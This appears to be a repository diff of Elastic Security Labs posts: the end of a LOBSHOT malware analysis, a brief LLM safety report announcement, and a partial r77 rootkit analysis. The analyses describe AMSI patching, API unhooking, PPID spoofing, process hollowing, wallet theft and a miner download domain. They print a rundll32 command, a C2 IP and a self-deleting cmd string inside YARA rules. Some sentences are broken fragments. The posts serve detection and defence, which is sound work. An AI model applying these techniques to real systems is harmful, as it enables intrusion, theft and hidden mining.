After LOBSHOT is executed, it moves a copy of itself to the **C:\ProgramData** folder, spawning a new process using **explorer.exe** , terminating the original process, and finally deleting the original file. This design choice is used in an attempt to break the process tree ancestry; making it harder to spot for analysts.
|
||||
|
||||

|
||||
|
||||
Below is a screenshot after the initial execution, the malware is now parentless and running from the **C:\ProgramData** directory.
|
||||
|
||||

|
||||
|
||||
### Persistence
|
||||
|
||||
For persistence, LOBSHOT leverages the [Registry run key persistence method](https://attack.mitre.org/techniques/T1547/001/). In our sample, this is placed in the **HKEY_CURRENT_USER** Registry hive with a randomly generated name pointing to the malware located in **C:\ProgramData.**
|
||||
|
||||

|
||||
|
||||
In addition, it sets Registry key data under the **Software\Microsoft\Windows NT\CurrentVersion\Devices** key path which is used to check for a hardcoded global identifier key that would indicate the system had already been infected. In our sample, the **Display** value is set to the string **134a1160**. The results from the stealer feature are recorded inside the **Default Printer** value. We'll discuss the stealer functionality in the next section.
|
||||
|
||||

|
||||
|
||||
### Stealer functionality
|
||||
|
||||
With the persistence mechanism established, LOBSHOT starts a new thread kicking off the stealer functionality. It starts by targeting specific Google Chrome extensions that deal with cryptocurrency wallets. Below are Procmon outputs showing LOBSHOT trying to access 32 Chrome wallet extensions, nine Edge wallet extensions, and 11 Firefox wallet extensions.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
For the complete listing of the different cryptocurrencies mapped to their extension IDs, see the [appendix](https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware#appendix).
|
||||
|
||||
If there is a match with any of these extensions, the results are inserted in the **Software\Microsoft\Windows NT\CurrentVersion\Devices** Registry key value as binary data with the format of browser name_extension name. Below is an example after the registry modification showing: **Chrome_Yoroi**.
|
||||
|
||||

|
||||
|
||||
After the browser extensions are enumerated, there is a check for a hardcoded file titled **hmr\_\*.dat** inside the **C:\ProgramData** directory. If this file exists it will be executed with **rundll32.exe** with the following command-line arguments:
|
||||
|
||||
**rundll32.exe "C:\ProgramData\hmr_1.dat", #1 hmod**
|
||||
|
||||
While we didn’t observe this behavior directly, this function appears to show off a feature baked in by the developer allowing the ability for additional execution options such as loading their own DLL.
|
||||
|
||||
### Network communications
|
||||
|
||||
For each LOBSHOT sample we have reviewed, there is a hardcoded IP and port that is decrypted from the binary that is used as the primary C2. The malware beacons every 5 seconds communicating by using the following calls:
|
||||
|
||||
- **ws2_32.socket**
|
||||
- **ws2_32.connect**
|
||||
- **ws2_32.send**
|
||||
- **ws2_32.select**
|
||||
- **ws2_32.recv**
|
||||
- **ws2_32.shutdown**
|
||||
- **ws2_32.closesocket**
|
||||
|
||||
On these outbound requests, it sends pseudorandom hard-coded data along with a shortened GUID value and version number of the module.
|
||||
|
||||

|
||||
|
||||
Below is an example of the send request buffer sent during the initial outbound requests showing the above-hardcoded values and version number.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Searching for the above **mov** instruction paired with the first **DWORD** of the hardcoded value ( **C7 06 25 56 0A DC** ) shows over **550** samples in VirusTotal within the last year. With some of the first samples showing up in late July 2022. The prevalence of these hardcoded values shows that it has been actively used and under development for a long period of time, and will likely continue to be used in the future.
|
||||
|
||||

|
||||
|
||||
After this initial handshake, LOBSHOT will send the previous custom data structure containing the enumerated data such as the hostname, username, windows objects, etc. over this port.
|
||||
|
||||

|
||||
|
||||
### Capabilities
|
||||
|
||||
One of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) module.
|
||||
|
||||
> Unlike traditional VNC (Virtual Network Computing) where the software provides remote access to a machine with the user’s consent and the visibility of the actions taken on the machine can be clearly observed. hVNC acts in the opposite way designed to stay stealthy where all actions by an attacker are taking place on the same machine, but can’t be visibly observed by the victim. hVNC became a popular solution within the banking trojan space to bypass device and fraud detection solutions. More details on hVNC can be found [here](https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf).
|
||||
|
||||
LOBSHOT implements the hVNC feature by generating a hidden desktop using the **CreateDesktopW** Windows API and then assigning the desktop to the malware using the **SetThreadDesktop** API **.** A new Windows **explorer.exe** process is then created under the context of the new hidden desktop.
|
||||
|
||||

|
||||
|
||||
At this stage, the victim machine will start sending screen captures that represent the hidden desktop that is sent to a listening client controlled by the attacker. The attacker interacts with the client by controlling the keyboard, clicking buttons, and moving the mouse, these capabilities provide the attacker full remote control of the device.
|
||||
|
||||
Within LOBSHOT’s hVNC module, there is a built-in GUI menu that allows the attacker to run the following commands quickly:
|
||||
|
||||
- Start new **explorer.exe** process
|
||||
- Start Windows Run command
|
||||
- Start new Windows process with provided command
|
||||
- Start Browsers (Internet Explorer, Edge, Firefox)
|
||||
- Terminate existing explorer.exe processes and start new explorer.exe process
|
||||
- Tamper with Windows sound settings
|
||||
- Set/retrieve Clipboard text
|
||||
- Activate Start Menu
|
||||
- Modify DPI Awareness settings
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
While the main functionality is centered on LOBSHOT’s hVNC module, it does have additional capabilities. One example is its ability to swap out its C2 provided by an operator; it manages this by writing the new C2 details into the registry key path **Software\Microsoft\Windows NT\CurrentVersion\Devices** under the **Video** value.
|
||||
|
||||

|
||||
|
||||
LOBSHOT also includes an update mechanism where it will remove previous modifications to the registry such as removing the “Display” value and Run key persistence, starting a new process, and finally exiting the existing process.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## LOBSHOT configuration extractor
|
||||
|
||||
Elastic Security Labs has released an open source tool, under the Elastic 2.0 license, that will allow for configurations to be extracted from LOBSHOT samples. The tool can be downloaded [here](https://github.com/elastic/labs-releases/tree/main/extractors/lobshot).
|
||||
|
||||

|
||||
|
||||
The extractor can run at the individual file or directory level, examples are below:
|
||||
|
||||
- **python lobshot_config_extractor.py --file sample.bin**
|
||||
- **python lobshot_config_extractor.py --directory samples**
|
||||
|
||||
## Summary
|
||||
|
||||
Threat groups are continuing to leverage malvertising techniques to masquerade legitimate software with backdoors like LOBSHOT. These kinds of malware seem small, but end up packing significant functionality which helps threat actors move quickly during the initial access stages with fully interactive remote control capabilities. We are continuing to see new samples related to this family each week, and expect it to be around for some time.
|
||||
|
||||
## Detection logic
|
||||
|
||||
### Prevention
|
||||
|
||||
- [Suspicious Windows Explorer Execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_windows_explorer_execution.toml)
|
||||
- [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml)
|
||||
- [Windows.Trojan.Lobshot](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lobshot.yar)
|
||||
|
||||
### Detection
|
||||
|
||||
#### EQL query
|
||||
|
||||
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar
|
||||
|
||||
The following EQL query can be used to detect suspicious grandparent, parent, child relationships observed with LOBSHOT.
|
||||
|
||||
```
|
||||
sequence by host.id, user.id with maxspan=1m
|
||||
[process where event.type == "start" and not startsWith~(process.executable, process.parent.executable)] by process.parent.name, process.entity\_id
|
||||
[file where event.type == "deletion"] by file.name, process.entity\_id
|
||||
[process where event.type == "start" and not startsWith~(process.executable, process.parent.executable)] by process.name, process.parent.entity\_id
|
||||
until [process where event.type == "end"] by process.name, process.entity\_id
|
||||
```
|
||||
|
||||
#### YARA rule
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Lobshot {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-04-18"
|
||||
last_modified = "2023-04-18"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
threat_name = "Windows.Trojan.Lobshot"
|
||||
reference_sample = "e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6"
|
||||
strings:
|
||||
$str0 = "HVNC Remote Control" ascii fullword
|
||||
$str1 = " Error # %d - %08lx" ascii fullword
|
||||
$str2 = "Set clipboard text failed." ascii fullword
|
||||
$str3 = "OK %08lx %08lx %d" ascii fullword
|
||||
$str4 = "\") & (rundll32.exe \"" wide fullword
|
||||
$str5 = "%LOCALAPPDATA%\\svc.db" wide fullword
|
||||
$str6 = "cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q \"" wide fullword
|
||||
$seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }
|
||||
$seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }
|
||||
$seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }
|
||||
$seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }
|
||||
condition:
|
||||
2 of ($seq*) or 5 of ($str*)
|
||||
}
|
||||
```
|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Initial access](https://attack.mitre.org/tactics/TA0001)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
- [Command and control](https://attack.mitre.org/tactics/TA0011)
|
||||
- [Defense evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
|
||||
### Techniques / Sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
|
||||
- [Data from Local System](https://attack.mitre.org/techniques/T1005/)
|
||||
- [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033/)
|
||||
- [Obfuscated Files or Information: Dynamic API Resolution](https://attack.mitre.org/techniques/T1027/007/)
|
||||
- [Remote Services: VNC](https://attack.mitre.org/techniques/T1021/005/)
|
||||
- [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)
|
||||
- [Clipboard Data](https://attack.mitre.org/techniques/T1115/)
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for download in both [ECS and STIX format](https://github.com/elastic/labs-releases/tree/main/indicators/lobshot). Additionally, we have created a [VirusTotal Collection](https://www.virustotal.com/gui/collection/abe7f5f8c49b387114e46957feb347af705d1d90733f4b26341e2e5299cbbf4c) with all indicators.
|
||||
|
||||
| Indicator | Type | Reference |
|
||||
| ---------------------------------------------------------------- | ---------- | ---------- |
|
||||
| 95.217.125.200 | IP Address | LOBSHOT C2 |
|
||||
| e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6 | SHA-256 | LOBSHOT |
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/actor/ta505](https://malpedia.caad.fkie.fraunhofer.de/actor/ta505)
|
||||
- [https://twitter.com/wdormann/status/1617612216945250304?s=20](https://twitter.com/wdormann/status/1617612216945250304?s=20)
|
||||
- [https://www.malware-traffic-analysis.net/2023/01/23/index.html](https://www.malware-traffic-analysis.net/2023/01/23/index.html)
|
||||
|
||||
## Appendix
|
||||
|
||||
### Chrome wallet extensions
|
||||
|
||||
| Wallet name | Extension ID |
|
||||
| ---------------------- | -------------------------------- |
|
||||
| Yoroi | ffnbelfdoeiohenkjibnmadjiehjhajb |
|
||||
| TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec |
|
||||
| Nifty Wallet | jbdaocneiiinmjbjlgalhcelgbejmnid |
|
||||
| MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn |
|
||||
| Math Wallet | afbcbjpbpfadlkmhmclhkeeodmamcflc |
|
||||
| Coinbase Wallet | hnfanknocfeofbddgcijnmhnfnkdnaad |
|
||||
| Binance Wallet | fhbohimaelbohpjbbldcngcnapndodjp |
|
||||
| Brave Wallet | odbfpeeihdkbihmopkbjmoonfanlbfcl |
|
||||
| Guarda | hpglfhgfnhbgpjdenjgmdgoeiappafln |
|
||||
| Equal Wallet | blnieiiffboillknjnepogjhkgnoapac |
|
||||
| Jaxx Liberty | cjelfplplebdjjenllpjcblmjkfcffne |
|
||||
| BitApp Wallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi |
|
||||
| iWallet | kncchdigobghenbbaddojjnnaogfppfj |
|
||||
| Wombat | amkmjjmmflddogmhpjloimipbofnfjih |
|
||||
| Oxygen | fhilaheimglignddkjgofkcbgekhenbh |
|
||||
| MyEtherWallet | nlbmnnijcnlegkjjpcfjclmcfggfefdm |
|
||||
| GuildWallet | nanjmdknhkinifnkgdcggcfnhdaammmj |
|
||||
| Saturn Wallet | nkddgncdjgjfcddamfgcmfnlhccnimig |
|
||||
| Ronin Wallet | fnjhmkhhmkbjkkabndcnnogagogbneec |
|
||||
| Station Wallet | aiifbnbfobpmeekipheeijimdpnlpgpp |
|
||||
| Harmony | fnnegphlobjdpkhecapkijjdkgcjhkib |
|
||||
| Coin98 Wallet | aeachknmefphepccionboohckonoeemg |
|
||||
| EVER Wallet | cgeeodpfagjceefieflmdfphplkenlfk |
|
||||
| KardiaChain Wallet | pdadjkfkgcafgbceimcpbkalnfnepbnk |
|
||||
| Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
|
||||
| Pali Wallet | mgffkfbidihjpoaomajlbgchddlicgpn |
|
||||
| BOLT X | aodkkagnadcbobfpggfnjeongemjbjca |
|
||||
| Liquality Wallet | kpfopkelmapcoipemfendmdcghnegimn |
|
||||
| XDEFI Wallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf |
|
||||
| Nami | lpfcbjknijpeeillifnkikgncikgfhdo |
|
||||
| MultiversX DeFi Wallet | dngmlblcodfobpdpecaadgfbcggfjfnm |
|
||||
|
||||
### Edge wallet extensions
|
||||
|
||||
| Wallet name | Extension ID |
|
||||
| -------------- | -------------------------------- |
|
||||
| Yoroi | akoiaibnepcedcplijmiamnaigbepmcb |
|
||||
| MetaMask | ejbalbakoplchlghecdalmeeeajnimhm |
|
||||
| Math Wallet | dfeccadlilpndjjohbjdblepmjeahlmm |
|
||||
| Ronin Wallet | kjmoohlgokccodicjjfebfomlbljgfhk |
|
||||
| Station Wallet | ajkhoeiiokighlmdnlakpjfoobnjinie |
|
||||
| BDLT Wallet | fplfipmamcjaknpgnipjeaeeidnjooao |
|
||||
| Glow | niihfokdlimbddhfmngnplgfcgpmlido |
|
||||
| OneKey | obffkkagpmohennipjokmpllocnlndac |
|
||||
| MetaWallet | kfocnlddfahihoalinnfbnfmopjokmhl |
|
||||
|
||||
### Firefox wallet extensions
|
||||
|
||||
| Wallet name | Extension ID |
|
||||
| ------------ | -------------------------------------------- |
|
||||
| Yoroi | \{530f7c6c-6077-4703-8f71-cb368c663e35\}.xpi |
|
||||
| Ronin Wallet | ronin-wallet@axieinfinity.com.xpi |
|
||||
| MetaMask | webextension@metamask.io.xpi |
|
||||
| TronLink | \{5799d9b6-8343-4c26-9ab6-5d2ad39884ce\}.xpi |
|
||||
| | \{aa812bee-9e92-48ba-9570-5faf0cfe2578\}.xpi |
|
||||
| | \{59ea5f29-6ea9-40b5-83cd-937249b001e1\}.xpi |
|
||||
| | \{d8ddfc2a-97d9-4c60-8b53-5edd299b6674\}.xpi |
|
||||
| Phantom | \{7c42eea1-b3e4-4be4-a56f-82a5852b12dc\}.xpi |
|
||||
| | \{b3e96b5f-b5bf-8b48-846b-52f430365e80\}.xpi |
|
||||
| | \{eb1fb57b-ca3d-4624-a841-728fdb28455f\}.xpi |
|
||||
| | \{76596e30-ecdb-477a-91fd-c08f2018df1a\}.xpi |
|
|
@ -0,0 +1,22 @@
|
|||
---
|
||||
title: "Now available: The LLM safety assessment"
|
||||
slug: "elastic-security-labs-releases-llm-safety-report"
|
||||
date: "2023-05-06"
|
||||
description: "Check out the newest report from Elastic Security Labs, which explores how you can protect your organization from LLM threats."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "image1.png"
|
||||
category:
|
||||
- slug: reports
|
||||
tags:
|
||||
- slug: machine-learning
|
||||
- slug: generative-ai
|
||||
---
|
||||
|
||||
Today Elastic Security Labs publishes our [LLM safety assessment report](https://www.elastic.co/security/llm-safety-report?utm_source=labshome), a research endeavor meant to collect and clarify information about practical threats to large language models. These forms of generative AI are likely to become ubiquitous in the near future-- but we need to consider the security of them __a little sooner__ than that.
|
||||
|
||||
One of the most immediate and significant challenges-- and this is true of every new data source-- is understanding the properties and characteristics of the data, if it exists. You can read more about that process in this [excellent](https://www.elastic.co/security-labs/embedding-security-in-llm-workflows) [pair](https://www.elastic.co/security-labs/elastic-advances-llm-security) of articles, which speak to a challenge many detection engineers are facing today.
|
||||
|
||||
New data sources are problematic in a unique way: with no visibility to rank malicious techniques by popularity, how does a detection engineer determine the most effective detections? Mapping fields and normalizing a data source is a good __initial__ step that makes it possible to begin investigating; it's exciting to be a little closer to the answer today than we were yesterday.
|
||||
|
||||
Check out the new report, browse our [prior research](https://www.elastic.co/security-labs/topics/generative-ai) on this topic, and join us in preparing for tomorrow.
|
|
@ -0,0 +1,378 @@
|
|||
---
|
||||
title: "Elastic Security Labs steps through the r77 rootkit"
|
||||
slug: "elastic-security-labs-steps-through-the-r77-rootkit"
|
||||
date: "2023-05-22"
|
||||
subtitle: "Open source userland rootkit used to deploy the XMRIG crypto miner."
|
||||
description: "Elastic Security Labs explores a campaign leveraging the r77 rootkit and has been observed deploying the XMRIG crypto miner. The research highlights the different modules of the rootkit and how they’re used to deploy additional malicious payloads."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
image: "photo-edited-06@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- ref9597
|
||||
- crypto
|
||||
- xmrig
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- r77 is a stealthy open source rootkit that is being used to deploy the XMRIG crypto miner
|
||||
- r77 uses several modules as a way to successfully install and maintain persistence
|
||||
- Campaign authors are leaning heavily on open source tools and scripts, possibly to abstract attribution or reduce development costs
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs has uncovered a malicious crypto miner that had been deployed in several Asian countries. The campaign owners are using an open source userland rootkit, called r77.
|
||||
|
||||
r77’s primary purpose is to hide the presence of other software on a system by hooking important Windows APIs, making it an ideal tool for cybercriminals looking to carry out stealthy attacks. By leveraging the r77 rootkit, the authors of the malicious crypto miner were able to evade detection and continue their campaign undetected.
|
||||
|
||||
In this research, we will highlight the inner workings of the r77 rootkit and explore how it was used in conjunction with the crypto miner. We hope to raise awareness of the ongoing threat posed by cybercriminals and encourage individuals and organizations to take proactive steps to protect their systems and networks.
|
||||
|
||||
## Code analysis
|
||||
|
||||
### Overview
|
||||
|
||||
The rootkit is comprised of 4 distinct modules:
|
||||
|
||||
1. The installer module.
|
||||
2. The stager module.
|
||||
3. The service module.
|
||||
4. The core module.
|
||||
|
||||

|
||||
|
||||
We will cover each module and phase in detail below.
|
||||
|
||||
### Installer module
|
||||
|
||||
Its first task is to store the stager module PE in the registry, a technique commonly used by malware authors to persistently store their malicious code on a system. Once the stager module is stored in the registry, the installer module builds a PowerShell command that loads the stager module from the registry and executes it, the installer module then creates a scheduled task to run the PowerShell command.
|
||||
|
||||
The installer locates the stager module stored as a PE resource named **EXE** , it then creates a new registry key called **$77stager** in the **HKEY_LOCAL_MACHINE\SOFTWARE** hive and writes the stager module to the key.
|
||||
|
||||

|
||||
|
||||
The installer then builds a PowerShell command to reflectively load the .NET stager in memory, using the **[Reflection.Assembly]::Load** method. Additionally, [Microsoft’s Antimalware Scan Interface](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) (AMSI) is circumvented by patching the **AmsiScanBuffer** API so that it will always return an [**AMSI_RESULT_CLEAN**](https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result) response. **AMSI_RESULT_CLEAN** means that the scanned content is “Known good. No detection found, and the result is likely not going to change after a future definition update.” The PowerShell command is then obfuscated by replacing variable names with random strings.
|
||||
|
||||

|
||||
|
||||
Finally, the installer creates a scheduled task to execute the PowerShell command using COM objects, the task is configured to execute at startup with the SYSTEM account.
|
||||
|
||||

|
||||
|
||||
### Stager module
|
||||
|
||||
The stager is a .NET-based binary and it is responsible for unhooking DLLs, adjusting the SeDebugPrivilege setting, decrypting and decompressing the service module, and injecting the service module. This is accomplished using a process hollowing technique into a newly spawned process under another legitimate process through PPID spoofing.
|
||||
|
||||
#### API unhooking
|
||||
|
||||
To defeat the userland inline API hooking set by endpoint solutions, the stager module first completely unhooks two important DLLs that contain the API used by the rootkit, namely **NTDLL.dll** and **KERNEL32.dll**.
|
||||
|
||||

|
||||
|
||||
This technique involves the following steps:
|
||||
|
||||
1. **Retrieving the DLL** : The stager module reads the target DLL file from the disk.
|
||||
2. **Mapping the DLL to memory** : The stager module creates a new file mapping using the CreateFileMapping function, which allows the DLL to be loaded into the process's memory.
|
||||
3. **Analyzing the DLL's section table** : The stager module analyzes the section table of the newly mapped DLL to identify the relevant section where the executable code (often referred to as the **.text** section) is stored.
|
||||
4. **Overwriting the code section** : Once the **.text** section is identified, the stager module replaces the contents of the corresponding section in the already loaded DLL with the code from the fresh **.text** section.
|
||||
|
||||
#### SeDebugPrivilege
|
||||
|
||||
The stager module next attempts to obtain the **SeDebugPrivilege** which allows it to inspect and adjust the memory of other processes.
|
||||
|
||||
This technique triggers Elastic’s [SeDebugPrivilege Enabled by a Suspicious Process](https://www.elastic.co/guide/en/security/current/sedebugprivilege-enabled-by-a-suspicious-process.html) detection rule.
|
||||
|
||||
#### Service module decryption and decompression
|
||||
|
||||
Two versions of the same service module are stored in the resource section of the stager, a 32-bit and 64-bit version that will be deployed according to the system architecture.
|
||||
|
||||
The payload is compressed using the GZip compression algorithm and it uses a simple XOR for decryption. After decompression, the stager uses the first 4-bytes as an XOR key to decrypt the rest of the data.
|
||||
|
||||

|
||||
|
||||
#### Parent PID spoofing
|
||||
|
||||
To make the process hollowing injection appear legitimate, the parent PID spoofing technique is used to evade threat hunters and security tooling. This technique allows attackers to run processes under any parent process they want.
|
||||
|
||||
The malware first gets the process ID of the running **winlogon.exe** process which is a component of the Microsoft Windows operating system.
|
||||
|
||||

|
||||
|
||||
It then uses 5 Windows APIs:
|
||||
|
||||
1. **OpenProcess** : Get the parent process handle.
|
||||
2. **InitializeProcThreadAttributeList** : Initialize the attribute list.
|
||||
3. **UpdateProcThreadAttribute:** Set the parent process handle via the **PROC_THREAD_ATTRIBUTE_PARENT_PROCESS** attribute.
|
||||
4. **CreateProcess:** Creates a new process under the spoofed parent
|
||||
|
||||
 detection rule.
|
||||
|
||||
#### Process hollowing
|
||||
|
||||
The malware leverages the process hollowing technique to inject its payload into a legitimate-looking Microsoft process, it chooses either **C:\\Windows\\System32\\dllhost.exe** or **C:\\Windows\\SysWow64\\dllhost.exe** depending on the malware and the machine architecture. To further obfuscate its presence, the malware generates a random GUID and generates a command line string, assigning it to the newly created process. This command line string includes the **/processid:** parameter and the GUID to mimic the behavior of a genuine **dllhost.exe** process and make it more difficult to detect.
|
||||
|
||||

|
||||
|
||||
It then stores the current process ID running the service module as a value in a registry key named either **“svc32”** or **“svc64”** under the key **HKEY_LOCAL_MACHINE\*\*** SOFTWARE\$77config\pid\*\*. The svc32/64 key name is based on the system architecture.
|
||||
|
||||
#### Injecting the core rootkit
|
||||
|
||||
The final task of the service module is to create two callbacks that are responsible for injecting the final rookit’s core. The core is a DLL stored as a resource in every running process except a handful specified by the threat actor in the configuration before compiling the rootkit.
|
||||
|
||||
The first callback is responsible for injection into every running process of the rootkit’s core, it does that by enumerating all running processes every 100 ms.
|
||||
|
||||
The second callback is responsible for injection into newly created child processes of already infected parent processes, an inter-process communication between the service and an infected process is used to catch child process creation.
|
||||
|
||||
The rootkit’s core hooks multiple Windows APIs. One of the important APIs is **NtResumeThread**. A parent process calls this API to start the thread execution after the creation of the child process, the installed hook sends the child’s PID to the service module through a named PIPE, in turn, the service module injects into it if the conditions allow it.
|
||||
|
||||
The threat actors purposely avoid injection into these specific processes:
|
||||
|
||||
- **MSBuild.exe**
|
||||
- **Services.exe**
|
||||
- **regsvr32.exe**
|
||||
- **Svchost.exe**
|
||||
- **WmiPrvSE.exe**
|
||||
- **OffOn.exe**
|
||||
- **OnOff.exe**
|
||||
- **rutserv.exe**
|
||||
- **rfusclient.exe**
|
||||
- **RMS.exe**
|
||||
- **msiexec.exe**
|
||||
- **Ma_ss.exe**
|
||||
- **masscan.exe**
|
||||
- **NLBrute.exe**
|
||||
- **run.exe**
|
||||
- **Checker.exe**
|
||||
- **Xfit.exe**
|
||||
- **cracker64.exe**
|
||||
- **SSH_Checker.exe**
|
||||
- **ViewLog.exe**
|
||||
|
||||
### The rootkit’s core
|
||||
|
||||
The last module is the core module, responsible for installing hooks on important Windows APIs and filtering the output of said APIs according to the rootkit’s configuration. It is a DLL loaded into running processes by the service module. Its main purpose is to set hooks using the [Detours](https://github.com/microsoft/Detours) project on important Windows API namely
|
||||
|
||||
- **NtQuerySystemInformation**
|
||||
- **NtResumeThread**
|
||||
- **NtQueryDirectoryFile**
|
||||
- **NtQueryDirectoryFileEx**
|
||||
- **NtEnumerateKey**
|
||||
- **NtEnumerateValueKey**
|
||||
- **EnumServiceGroupW**
|
||||
- **EnumServicesStatusExW**
|
||||
- **NtDeviceIoControlFile**
|
||||
|
||||
, is a .NET binary that loads an embedded PowerShell script and executes it. This PowerShell script serves as the orchestrator for the entire miner campaign, directing the various processes and actions necessary to successfully install and operate a legitimate and popular crypto miner. The PowerShell script was responsible for downloading a compiled version of the open source [XMRIG miner](https://github.com/xmrig/xmrig). Specifically, the version used in this campaign was **6.15.2** , which was released in October 2021. Interestingly, the download appeared to originate from the domain **msupdate[.]info**, a well-documented and malicious domain.
|
||||
|
||||
 (RMS) tool, a closed source program for remote administration, developed by the Russian company TektonIT, which could be used to remotely control the infected machine and issue commands from a remote location. Finally, the script created a new admin user ( **adm** ) on the targeted system, which could potentially be used to carry out additional attacks or exfiltrate sensitive data.
|
||||
|
||||
## Detection logic
|
||||
|
||||
### Prevention
|
||||
|
||||
- [Parent Process PID Spoofing](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml)
|
||||
- [Unusual Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml)
|
||||
- [Suspicious PowerShell Engine ImageLoad](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_unusual_powershell_engine_imageload.toml)
|
||||
- [Privilege Escalation via EXTENDED STARTUPINFO](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_privilege_escalation_via_extended_startupinfo.toml)
|
||||
- [Unusual Process Running as Antimalware Protected](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_process_running_as_antimalware_protected.toml)
|
||||
|
||||
### Detection
|
||||
|
||||
- [Parent Process PID Spoofing](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml)
|
||||
- [Unusual Parent-Child Relationship](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml)
|
||||
- [Suspicious PowerShell Engine ImageLoad](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_powershell_imgload.toml)
|
||||
- [Process Created with an Elevated Token](https://www.elastic.co/guide/en/security/current/process-created-with-an-elevated-token.html)
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the r77 rootkit.
|
||||
|
||||
```
|
||||
rule Windows_Rootkit_R77_1 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2022-03-04"
|
||||
last_modified = "2022-04-12"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c"
|
||||
|
||||
strings:
|
||||
$a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Rootkit_R77_2 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-09"
|
||||
last_modified = "2023-05-09"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f"
|
||||
|
||||
strings:
|
||||
$a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }
|
||||
